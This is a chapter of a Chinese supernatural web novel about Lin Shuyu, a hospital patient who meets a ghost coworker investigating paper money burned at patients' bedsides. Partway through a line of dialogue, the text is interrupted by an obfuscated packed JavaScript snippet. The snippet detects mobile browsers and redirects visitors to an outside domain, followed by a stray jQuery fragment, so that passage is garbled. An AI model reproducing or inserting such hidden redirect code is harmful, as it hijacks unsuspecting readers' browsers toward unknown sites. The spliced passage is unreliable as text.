他这句话属于一语双关——死前被人算计,死后又到了罪魁祸首的手里,就算是最虚情假意的鬼来了也得摇着头叹一句可怜。 “虚伪。”女人发出了一声嗤笑,把电话放到一旁的高台上,从大小不一的瓷片里找出了半具喜鹊的身体。鸟儿黑豆般的眼睛已经蒙上了一层灰白色,大张的嘴里还含着块肉。女人掏出来看了两眼,发现是已经冷掉的心脏。 显而易见的,它在从塑像里摔出来后并没有立刻死亡,还有力气爬到自己的另一半身体那里,试图延续自己的生命。 “畜牲就是畜牲,一点用也没有,白白浪费了我二十五年的时间。”女人翻弄了两下手心里的尸体,虽然话里是高高在上的嘲讽,语气却平静到有些诡异。 “好歹也养了二十五年,回收一下也还能用,让东家凑合着吃一吃吧。”高台上传来了男人虚伪的安慰。 “说得倒是好听,你有本事替我送上去试试?东家那暴脾气我可招惹不起。” 话是这么说,女人还是从地上捡了片布料把那颗心脏装起,随后将失去了用处的喜鹊丢开,用香灰吸干了手上的血。 二十五年功亏一篑……她得想个办法把亏空给补回来才行。 就在她准备离开这个令人烦心的地方时,一股熟悉的气味忽然钻入了她的鼻腔,使她硬生生停住了脚步。这一片应当是战斗最激烈的地方,尸体的数量多到吓人,那缕气息瞬间便被腥臭味盖过,就像那只是她的错觉。 电话那头的人捕捉到了她这不同寻常的停顿,有些好奇地开了口:“发现什么有趣的事情了吗?” 女人若有所思地揉了揉自己的右手,露出一个堪称愉悦的微笑,轻声说道: “我刚才闻到了一个味道,很像是我那阔别已久的老东家。” ——而且,祂好像没有认出自己的手艺呢。 23.“……老板?” 清晨的阳光准时从没拉严实的窗帘缝隙间照进来,一路蔓延到了病床上。林书渝阴沉地睁开了眼睛,眼瞳中没有一星半点的睡意。 孟山慈送他的汤里放了强效安眠药——虽说出发点是好的,也确实达到了让他睡个好觉的结果,但手段是不是太过极端了些? 有一说一,作为药人,孟山慈的药粉效果一绝,他甚至想不起来自己是怎么睡下去的。 得到了充分休息的神经终于慷慨地免除了林书渝被疼痛折磨的惩罚,他现在可以说是近几年来精气神最好的一天。久睡过后的酸软感后知后觉传来,他刚想活动一下肩膀,床边就忽然传来了一道声音:“你终于醒了?” 有人进来了?!林书渝悚然转过头去,正好对上了一双闷青色的眼睛。对方眼白的颜色有点古怪,像是被剥坏的咸鸭蛋。 “嗨。”脸色苍白到有些不正常的少年朝他挥了挥手,指甲泛着尸体才会有的乌黑,“早上好啊。” “……早上好。”林书渝动作僵硬地点了点头,右手悄然向床头的铜镜摸去。 孟山慈呢?为什么……等等。脑海中忽然闪过一抹灵光,林书渝恍然想起了轮换这件事,向铜镜伸到一半的手硬生生拐弯落到了手机上,假装是要看时间。 “现在是早上九点。”床边的新同事很贴心地先行一步给他报出了时间,“你需要吃早餐吗?” 不知道为什么,林书渝觉得这句话中不包含一点隐喻,就像询问某种新生物需不需要进食一样,带着纯粹且严谨的学术探究精神。这让他不得不思考起了礼貌性回拒是否不太适用,经过一番衡量后,他很谨慎地给出了回答:“需要,但我昨天已经点过餐了。” 果不然,新同事露出了发现“新物种习性”般的神情,若有所思地自言自语:“看来这次的新人真的是人。” 林书渝欲言又止,很想针对这句话进行追问,但还没未得及说出口,手边的人……不,鬼就很顺滑地切换了话题: “孟山慈半夜就跑了,没和我说归期,估计是归期未定——因为我目送她离开后发现自己被拉黑了。” 在说这话时,他手里的手机稍微翻转了一下,林书渝瞥了一眼,看见了一连串的红色感叹号。 信息量有点大,林书渝揉了揉太阳穴,精确地抓住了这句话里的重点:“你们半夜接的班?” 有谁会挑这个时间来医院? “我是鬼啊,总不能在大早上过来,多影响市容。”少年托着下巴,义正言辞,“就是路上见到的护士差点把我送进急诊科抢救。” 林书渝默默看向他都快起尸斑的手指:“……嗯,应该的。” 只是想把你送进急诊科而不是朝你泼黑狗血已经是医护人员们全力坚守唯物义的结果了,天知道他看到一大早床边坐了只陌生鬼时的心情。 可惜的是,鬼并不认为自己吓人,若无其事地接着说道:“也是奇了怪了,按理来说他们见的鬼也不少,怎么就单单认错我一个呢。” 林书渝:“稍等,这句话的意思是……?” 少年向他看过来,眼里带着几分惊讶:“孟山慈没告诉你吗?这家医院是淮北出了名的闹鬼医院啊!” 林书渝干巴巴地回答:“还真没有。” “那她可能是忘了吧,反正也不是什么重要的事。”少年用安抚的语气说出了有些惊悚的话,“等我这项委托做完,这家医院就正常了,应该一两个晚上就好。” 林书渝心如止水地望向天花板,回想起了孟山慈所说过的话。 接的任务在这附近的意思是就在这家医院里是吗? 不过,经历过家里人一夜之间变鬼、每个月固定遇上一次生命危险、一天前还差点死在邪菩萨手中等等事件后,住在闹鬼医院里好像也成了小事。以极短的时间平复好心情,他重新将头转向了仍不知姓名的同事。 “我好像还没问你的名字。” “齐铭,你也可以喊我齐九,因为我是09年出生的家里老九。” “1909年?”林书渝合理猜测。 “不。”齐铭认真地纠正道,“1809年。” 镜子里闭目养神的林昭忍不住投来了目光。 发现同事的年龄比自己大了整整十倍的林书渝沉默了半晌,佯装淡定地点了点头:“我叫林书渝。” 齐铭看上去对这个名字并不陌生,饶有兴致地说道:“我知道你,老板特地发了个邮件通知了你入职——你是不是跟老板关系很好?” 林书渝愣了愣,迟疑地回答:“或许?” “算了,这好像不能算作问题。”齐铭有些忧愁地叹了口气,“当初那疯道士入职的时候老板什么也没说,谁也不知道,都是半路撞上打起来才发现是同事的。” 林书渝平静地回答:“也有可能是痛定思痛。” 不过似乎没什么用处,他还是和孟山慈打了起来。 齐铭还想就着老板这个话题多聊两句,但紧接着,一阵喧哗声就打断了这场对话。走廊里不知道发生了什么事故,好几个人扯着嗓子大声叫骂,用的都是方言,只能隐约听到几个关键词。 “你们做出这种不缺德吗?!”这句倒是清晰了许多,应当是有年轻人下了场,“在我妈病床前烧这种东西,谁知道是在做什么害人的法术!” “你个小孩子家家的懂什么?都说了这医院闹鬼呀!你一口咬定这是我烧的不就在赖人嘛!” “说什么胡话?这世上哪有鬼!再说了,鬼烧我妈八字干什么?” 加入进这场争吵的人越来越多,走廊上吵得不像话。不断有人从病房里头出来, 赶到那头去看热闹。齐铭侧耳认真听片刻,转过头来给他解释:“有人在病人床头发现了烧到一半的八字和纸钱,这不是第一起了。” 林书渝心领神会:“你这次的任务内容?” 齐铭点点头:“对,这确实不是人烧的——纸人烧钱,应该是有鬼借寿。” 在医院里死去的人生前都怀着强大的求生欲,死后化鬼自然会延续活着时的执念,继续向活人“买命”。 “我出去看看。”齐铭从椅子上站起, 没忘记临走前关怀一下同事,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15221680|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个人待在这里可以吧?” 咚咚。敲击声从铜镜中传来,镜鬼优雅地收回了手。 “好吧,一人一鬼。”齐铭歪了歪脑袋,自然地改了口。 且送着少年的背影匆离去,林书渝拿起手机,查了查这家医院的名字。除开官方介绍和医院官网,排在前面的都是各种营销号的报道,标题无一例外都是“淮北第一闹鬼医院七大怪谈”。 这种捕风捉影的报道一般没有任何信息。林书渝熟练地掠过它们,点开了下方的帖子链接。医院里头的怪谈一向被灵异爱好者所偏爱,他一路滑到最底下,最新的买命钱风波果然早已被人提及,掀起了新一轮的讨论热潮。 声称是医院内部人员的楼主信誓旦旦地保证这是鬼在买活人的命,之所以没人发现是因为烧纸的是纸人,点起火之后就跳进盆里一起烧没,护士站捡到的半张红纸就是证据。 灵异论坛里最不缺的就是“知情人士”,很快就有人跳出来反驳这必定是人为,证据是他也在门口收到了所谓买命钱,但真真切切看到有人影在门口一闪而过。 后面的楼层就是两个知情人士的争吵了。林书渝又往前翻了翻,把那些老套的医院怪谈看过一遍后便退出了页面,百无聊赖地看了门口。 走廊上的动静好像消停了……奇怪,齐铭还没回来吗? 林书渝目光上移,想从门上的窗口向外看,却在下一秒顿住。 ——他和一颗布满了红血丝的眼睛对上了视线。 短暂的对视过后,那颗眼睛的主人慌乱地移开了目光,匆匆丢下了某张轻飘飘的东西后便消失在了窗口后面。林书渝立即翻身下床,三步并两步走到门前拉开了门。 走廊上空无一人,很显然,他来晚了一步。 两边都有下去的楼梯,没法分辨那人逃跑的方向,去追也没用。林书渝左右看了看,若有所思地低头在门前寻找起来。 扔下买命钱就跑的黑影……那应该就是帖子里提到的“嫌疑人”。 或许是跑得太急,那人扔得有点偏。林书渝的目光先是在身前扫了两圈,随即后知后觉地移到走廊上,将门合拢,果然在门后看到了一张纸钱。 纸钱的样式很普通,就是平时扫墓时用的那种,只不过金额后面还多出了两个画上去的0,笔触很潦草,也不知道画上去的人当时是什么精神状态。 颜色暗红,有些反光,不像是红墨水,也不像是朱砂……林书渝在心中不断做着排除法,推到最后一步时有点迟疑。 光看还无法确认,要不,闻一下? 犹豫的时间尚未超过十秒,林书渝就根据内心的指引,坦然地蹲了下去。就在他打算凑近点使用扇闻法时,一只微凉的手就揪住了他的后领,把他从地上提了起来。 他心中一惊,立即反手扣住了来者的手腕,在即将狠狠掐下去时听到了一道咬牙切齿的声音。 “是不是只要没人盯着你,你就会自己往危险上撞?” 林书渝愣了愣,听着这莫名熟悉的语气,逐渐生出了一个大胆的猜测—— “……老板?”